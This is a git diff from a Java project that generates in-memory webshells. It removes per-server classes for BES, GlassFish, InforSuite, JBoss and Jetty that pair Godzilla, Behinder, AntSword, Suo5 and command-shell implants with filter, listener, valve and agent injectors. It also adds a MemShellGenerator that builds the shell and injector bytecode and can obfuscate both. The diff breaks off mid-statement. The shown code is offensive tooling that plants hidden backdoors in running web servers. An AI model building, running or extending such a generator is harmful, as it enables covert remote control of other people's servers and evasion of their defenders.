-        map.put(FILTER, Pair.of(GodzillaFilter.class, BesFilterInjector.class));
-        map.put(LISTENER, Pair.of(GodzillaListener.class, BesListenerInjector.class));
-        map.put(VALVE, Pair.of(GodzillaValve.class, BesValveInjector.class));
-        map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, BesFilterChainAgentInjector.class));
-        map.put(AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, BesContextValveAgentInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(FILTER, Pair.of(BehinderFilter.class, BesFilterInjector.class));
-        map.put(LISTENER, Pair.of(BehinderListener.class, BesListenerInjector.class));
-        map.put(VALVE, Pair.of(BehinderValve.class, BesValveInjector.class));
-        map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, BesFilterChainAgentInjector.class));
-        map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, BesContextValveAgentInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(FILTER, Pair.of(Suo5Filter.class, BesFilterInjector.class));
-        map.put(LISTENER, Pair.of(Suo5Listener.class, BesListenerInjector.class));
-        map.put(VALVE, Pair.of(Suo5Valve.class, BesValveInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(FILTER, Pair.of(AntSwordFilter.class, BesFilterInjector.class));
-        map.put(LISTENER, Pair.of(AntSwordListener.class, BesListenerInjector.class));
-        map.put(VALVE, Pair.of(AntSwordValve.class, BesValveInjector.class));
-        map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, BesFilterChainAgentInjector.class));
-        map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, BesContextValveAgentInjector.class));
-        return map;
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/GlassFishShell.java

@@ -1,104 +0,0 @@
-package com.reajason.javaweb.memshell;
-
-import com.reajason.javaweb.memshell.glassfish.antsword.AntSwordListener;
-import com.reajason.javaweb.memshell.glassfish.behinder.BehinderListener;
-import com.reajason.javaweb.memshell.glassfish.command.CommandListener;
-import com.reajason.javaweb.memshell.glassfish.godzilla.GodzillaListener;
-import com.reajason.javaweb.memshell.glassfish.injector.GlassFishFilterInjector;
-import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector;
-import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector;
-import com.reajason.javaweb.memshell.glassfish.suo5.Suo5Listener;
-import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
-import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
-import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve;
-import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
-import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
-import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
-import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
-import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
-import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
-import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
-import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
-import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
-import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
-import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
-import com.reajason.javaweb.memshell.tomcat.injector.TomcatContextValveAgentInjector;
-import com.reajason.javaweb.memshell.tomcat.injector.TomcatFilterChainAgentInjector;
-import org.apache.commons.lang3.tuple.Pair;
-
-import java.util.LinkedHashMap;
-import java.util.Map;
-
-import static com.reajason.javaweb.memshell.config.Constants.*;
-
-/**
- * @author ReaJason
- * @since 2024/12/12
- */
-public class GlassFishShell extends AbstractShell {
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(FILTER, Pair.of(CommandFilter.class, GlassFishFilterInjector.class));
-        map.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, GlassFishFilterInjector.class));
-        map.put(LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class));
-        map.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class));
-        map.put(VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class));
-        map.put(JAKARTA_VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class));
-        map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
-        map.put(AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(FILTER, Pair.of(GodzillaFilter.class, GlassFishFilterInjector.class));
-        map.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, GlassFishFilterInjector.class));
-        map.put(LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class));
-        map.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class));
-        map.put(VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class));
-        map.put(JAKARTA_VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class));
-        map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
-        map.put(AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(FILTER, Pair.of(BehinderFilter.class, GlassFishFilterInjector.class));
-        map.put(JAKARTA_FILTER, Pair.of(BehinderFilter.class, GlassFishFilterInjector.class));
-        map.put(LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class));
-        map.put(JAKARTA_LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class));
-        map.put(VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class));
-        map.put(JAKARTA_VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class));
-        map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
-        map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(FILTER, Pair.of(Suo5Filter.class, GlassFishFilterInjector.class));
-        map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, GlassFishFilterInjector.class));
-        map.put(LISTENER, Pair.of(Suo5Listener.class, GlassFishListenerInjector.class));
-        map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, GlassFishListenerInjector.class));
-        map.put(VALVE, Pair.of(Suo5Valve.class, GlassFishValveInjector.class));
-        map.put(JAKARTA_VALVE, Pair.of(Suo5Valve.class, GlassFishValveInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(FILTER, Pair.of(AntSwordFilter.class, GlassFishFilterInjector.class));
-        map.put(LISTENER, Pair.of(AntSwordListener.class, GlassFishListenerInjector.class));
-        map.put(VALVE, Pair.of(AntSwordValve.class, GlassFishValveInjector.class));
-        map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
-        map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
-        return map;
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/InforSuiteShell.java

@@ -1,104 +0,0 @@
-package com.reajason.javaweb.memshell;
-
-import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector;
-import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector;
-import com.reajason.javaweb.memshell.inforsuite.injector.InforSuiteFilterInjector;
-import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
-import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
-import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve;
-import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
-import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
-import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
-import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
-import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
-import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
-import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
-import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
-import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
-import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
-import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
-import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
-import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
-import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
-import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
-import com.reajason.javaweb.memshell.tomcat.injector.TomcatContextValveAgentInjector;
-import com.reajason.javaweb.memshell.tomcat.injector.TomcatFilterChainAgentInjector;
-import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
-import org.apache.commons.lang3.tuple.Pair;
-
-import java.util.LinkedHashMap;
-import java.util.Map;
-
-import static com.reajason.javaweb.memshell.config.Constants.*;
-
-/**
- * @author ReaJason
- * @since 2024/12/24
- */
-public class InforSuiteShell extends AbstractShell {
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(FILTER, Pair.of(CommandFilter.class, InforSuiteFilterInjector.class));
-        map.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, InforSuiteFilterInjector.class));
-        map.put(LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class));
-        map.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class));
-        map.put(VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class));
-        map.put(JAKARTA_VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class));
-        map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
-        map.put(AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(FILTER, Pair.of(GodzillaFilter.class, InforSuiteFilterInjector.class));
-        map.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, InforSuiteFilterInjector.class));
-        map.put(LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class));
-        map.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class));
-        map.put(VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class));
-        map.put(JAKARTA_VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class));
-        map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
-        map.put(AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(FILTER, Pair.of(BehinderFilter.class, InforSuiteFilterInjector.class));
-        map.put(JAKARTA_FILTER, Pair.of(BehinderFilter.class, InforSuiteFilterInjector.class));
-        map.put(LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class));
-        map.put(JAKARTA_LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class));
-        map.put(VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class));
-        map.put(JAKARTA_VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class));
-        map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
-        map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(FILTER, Pair.of(Suo5Filter.class, InforSuiteFilterInjector.class));
-        map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, InforSuiteFilterInjector.class));
-        map.put(LISTENER, Pair.of(Suo5Listener.class, GlassFishListenerInjector.class));
-        map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, GlassFishListenerInjector.class));
-        map.put(VALVE, Pair.of(Suo5Valve.class, GlassFishValveInjector.class));
-        map.put(JAKARTA_VALVE, Pair.of(Suo5Valve.class, GlassFishValveInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(FILTER, Pair.of(AntSwordFilter.class, InforSuiteFilterInjector.class));
-        map.put(LISTENER, Pair.of(AntSwordListener.class, GlassFishListenerInjector.class));
-        map.put(VALVE, Pair.of(AntSwordValve.class, GlassFishValveInjector.class));
-        map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
-        map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
-        return map;
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/JbossShell.java

@@ -1,92 +0,0 @@
-package com.reajason.javaweb.memshell;
-
-import com.reajason.javaweb.memshell.jboss.injector.JbossFilterInjector;
-import com.reajason.javaweb.memshell.jboss.injector.JbossListenerInjector;
-import com.reajason.javaweb.memshell.jboss.injector.JbossValveInjector;
-import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
-import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
-import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve;
-import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
-import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
-import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
-import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
-import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
-import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
-import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
-import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
-import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
-import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
-import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
-import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
-import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
-import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
-import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
-import com.reajason.javaweb.memshell.tomcat.injector.TomcatContextValveAgentInjector;
-import com.reajason.javaweb.memshell.tomcat.injector.TomcatFilterChainAgentInjector;
-import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
-import org.apache.commons.lang3.tuple.Pair;
-
-import java.util.LinkedHashMap;
-import java.util.Map;
-
-import static com.reajason.javaweb.memshell.config.Constants.*;
-
-/**
- * @author ReaJason
- * @since 2024/12/10
- */
-public class JbossShell extends AbstractShell {
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(FILTER, Pair.of(CommandFilter.class, JbossFilterInjector.class));
-        map.put(LISTENER, Pair.of(CommandListener.class, JbossListenerInjector.class));
-        map.put(VALVE, Pair.of(CommandValve.class, JbossValveInjector.class));
-        map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
-        map.put(AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(FILTER, Pair.of(GodzillaFilter.class, JbossFilterInjector.class));
-        map.put(LISTENER, Pair.of(GodzillaListener.class, JbossListenerInjector.class));
-        map.put(VALVE, Pair.of(GodzillaValve.class, JbossValveInjector.class));
-        map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
-        map.put(AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(FILTER, Pair.of(BehinderFilter.class, JbossFilterInjector.class));
-        map.put(LISTENER, Pair.of(BehinderListener.class, JbossListenerInjector.class));
-        map.put(VALVE, Pair.of(BehinderValve.class, JbossValveInjector.class));
-        map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
-        map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(FILTER, Pair.of(Suo5Filter.class, JbossFilterInjector.class));
-        map.put(LISTENER, Pair.of(Suo5Listener.class, JbossListenerInjector.class));
-        map.put(VALVE, Pair.of(Suo5Valve.class, JbossValveInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(FILTER, Pair.of(AntSwordFilter.class, JbossFilterInjector.class));
-        map.put(LISTENER, Pair.of(AntSwordListener.class, JbossListenerInjector.class));
-        map.put(VALVE, Pair.of(AntSwordValve.class, JbossValveInjector.class));
-        map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
-        map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
-        return map;
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/JettyShell.java

@@ -1,100 +0,0 @@
-package com.reajason.javaweb.memshell;
-
-import com.reajason.javaweb.memshell.jetty.antsword.AntSwordHandlerAdvisor;
-import com.reajason.javaweb.memshell.jetty.antsword.AntSwordListener;
-import com.reajason.javaweb.memshell.jetty.behinder.BehinderHandlerAdvisor;
-import com.reajason.javaweb.memshell.jetty.behinder.BehinderListener;
-import com.reajason.javaweb.memshell.jetty.command.CommandHandlerAdvisor;
-import com.reajason.javaweb.memshell.jetty.command.CommandListener;
-import com.reajason.javaweb.memshell.jetty.godzilla.GodzillaHandlerAdvisor;
-import com.reajason.javaweb.memshell.jetty.godzilla.GodzillaListener;
-import com.reajason.javaweb.memshell.jetty.injector.JettyFilterInjector;
-import com.reajason.javaweb.memshell.jetty.injector.JettyHandlerAgentInjector;
-import com.reajason.javaweb.memshell.jetty.injector.JettyListenerInjector;
-import com.reajason.javaweb.memshell.jetty.injector.JettyServletInjector;
-import com.reajason.javaweb.memshell.jetty.suo5.Suo5Listener;
-import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
-import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
-import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
-import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
-import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
-import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
-import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
-import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
-import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
-import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
-import org.apache.commons.lang3.tuple.Pair;
-
-import java.util.LinkedHashMap;
-import java.util.Map;
-
-import static com.reajason.javaweb.memshell.config.Constants.*;
-
-/**
- * @author ReaJason
- * @since 2024/12/7
- */
-public class JettyShell extends AbstractShell {
-    public static final String AGENT_HANDLER = AGENT + "Handler";
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(SERVLET, Pair.of(CommandServlet.class, JettyServletInjector.class));
-        map.put(JAKARTA_SERVLET, Pair.of(CommandServlet.class, JettyServletInjector.class));
-        map.put(FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class));
-        map.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class));
-        map.put(LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class));
-        map.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class));
-        map.put(AGENT_HANDLER, Pair.of(CommandHandlerAdvisor.class, JettyHandlerAgentInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(SERVLET, Pair.of(GodzillaServlet.class, JettyServletInjector.class));
-        map.put(JAKARTA_SERVLET, Pair.of(GodzillaServlet.class, JettyServletInjector.class));
-        map.put(FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class));
-        map.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class));
-        map.put(LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class));
-        map.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class));
-        map.put(AGENT_HANDLER, Pair.of(GodzillaHandlerAdvisor.class, JettyHandlerAgentInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(SERVLET, Pair.of(BehinderServlet.class, JettyServletInjector.class));
-        map.put(JAKARTA_SERVLET, Pair.of(BehinderServlet.class, JettyServletInjector.class));
-        map.put(FILTER, Pair.of(BehinderFilter.class, JettyFilterInjector.class));
-        map.put(JAKARTA_FILTER, Pair.of(BehinderFilter.class, JettyFilterInjector.class));
-        map.put(LISTENER, Pair.of(BehinderListener.class, JettyListenerInjector.class));
-        map.put(JAKARTA_LISTENER, Pair.of(BehinderListener.class, JettyListenerInjector.class));
-        map.put(AGENT_HANDLER, Pair.of(BehinderHandlerAdvisor.class, JettyHandlerAgentInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(SERVLET, Pair.of(Suo5Servlet.class, JettyServletInjector.class));
-        map.put(JAKARTA_SERVLET, Pair.of(Suo5Servlet.class, JettyServletInjector.class));
-        map.put(FILTER, Pair.of(Suo5Filter.class, JettyFilterInjector.class));
-        map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, JettyFilterInjector.class));
-        map.put(LISTENER, Pair.of(Suo5Listener.class, JettyListenerInjector.class));
-        map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, JettyListenerInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(SERVLET, Pair.of(AntSwordServlet.class, JettyServletInjector.class));
-        map.put(FILTER, Pair.of(AntSwordFilter.class, JettyFilterInjector.class));
-        map.put(LISTENER, Pair.of(AntSwordListener.class, JettyListenerInjector.class));
-        map.put(AGENT_HANDLER, Pair.of(AntSwordHandlerAdvisor.class, JettyHandlerAgentInjector.class));
-        return map;
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java

@@ -0,0 +1,118 @@
+package com.reajason.javaweb.memshell;
+
+import com.reajason.javaweb.memshell.config.*;
+import com.reajason.javaweb.memshell.generator.*;
+import com.reajason.javaweb.memshell.server.AbstractShell;
+import com.reajason.javaweb.memshell.utils.CommonUtil;
+import me.n1ar4.clazz.obfuscator.api.ClassObf;
+import me.n1ar4.clazz.obfuscator.config.BaseConfig;
+import org.apache.commons.lang3.StringUtils;
+import org.apache.commons.lang3.tuple.Pair;
+
+import java.util.Map;
+
+/**
+ * @author ReaJason
+ * @since 2024/11/24
+ */
+public class MemShellGenerator {
+
+    public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
+        Server server = shellConfig.getServer();
+        AbstractShell shell = server.getShell();
+        if (shell == null) {
+            throw new IllegalArgumentException("Unsupported server: " + server);
+        }
+
+        if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
+            shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(server, shellConfig.getShellType()));
+        }
+
+        if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
+            injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
+        }
+
+        Class<?> injectorClass = null;
+
+        if (ShellTool.Custom.equals(shellConfig.getShellTool())) {
+            injectorClass = shellConfig.getServer().getShell().getShellInjectorMapping().getInjector(shellConfig.getShellType());
+        } else {
+            Pair<Class<?>, Class<?>> shellInjectorPair = shellConfig.getServer().getShell().getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType());
+            if (shellInjectorPair == null) {
+                throw new UnsupportedOperationException(server + " unsupported shell type: " + shellConfig.getShellType() + " for tool: " + shellConfig.getShellTool());
+            }
+            Class<?> shellClass = shellInjectorPair.getLeft();
+            injectorClass = shellInjectorPair.getRight();
+            shellToolConfig.setShellClass(shellClass);
+        }
+
+        byte[] shellBytes = generateShellBytes(shellConfig, shellToolConfig);
+
+        if (shellConfig.isObfuscate()) {
+            BaseConfig config = BaseConfig.Default();
+            config.setIgnorePublic(true);
+            config.setEnableMethodName(false);
+            config.setEnableFieldName(false);
+            config.setEnableAES(false);
+            config.setEnableAdvanceString(false);
+            config.setQuiet(true);
+
+            ClassObf classObf = new ClassObf(config);
+            shellBytes = classObf.run(shellBytes).getData();
+        }
+
+        injectorConfig.setInjectorClass(injectorClass);
+        injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
+        injectorConfig.setShellClassBytes(shellBytes);
+
+        InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
+        byte[] injectorBytes = injectorGenerator.generate();
+
+        if (shellConfig.isObfuscate()) {
+            BaseConfig config = BaseConfig.Default();
+            config.setIgnorePublic(true);
+            config.setEnableMethodName(false);
+            config.setEnableFieldName(false);
+            config.setEnableAES(false);
+            config.setEnableAdvanceString(false);
+            config.setQuiet(true);
+
+            ClassObf classObf = new ClassObf(config);
+            injectorBytes = classObf.run(injectorBytes).getData();
+        }
+
+        Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
+
+        return GenerateResult.builder()
+                .shellConfig(shellConfig)
+                .shellToolConfig(shellToolConfig)
+                .injectorConfig(injectorConfig)
+                .shellClassName(shellToolConfig.getShellClassName())
+                .shellBytes(shellBytes)
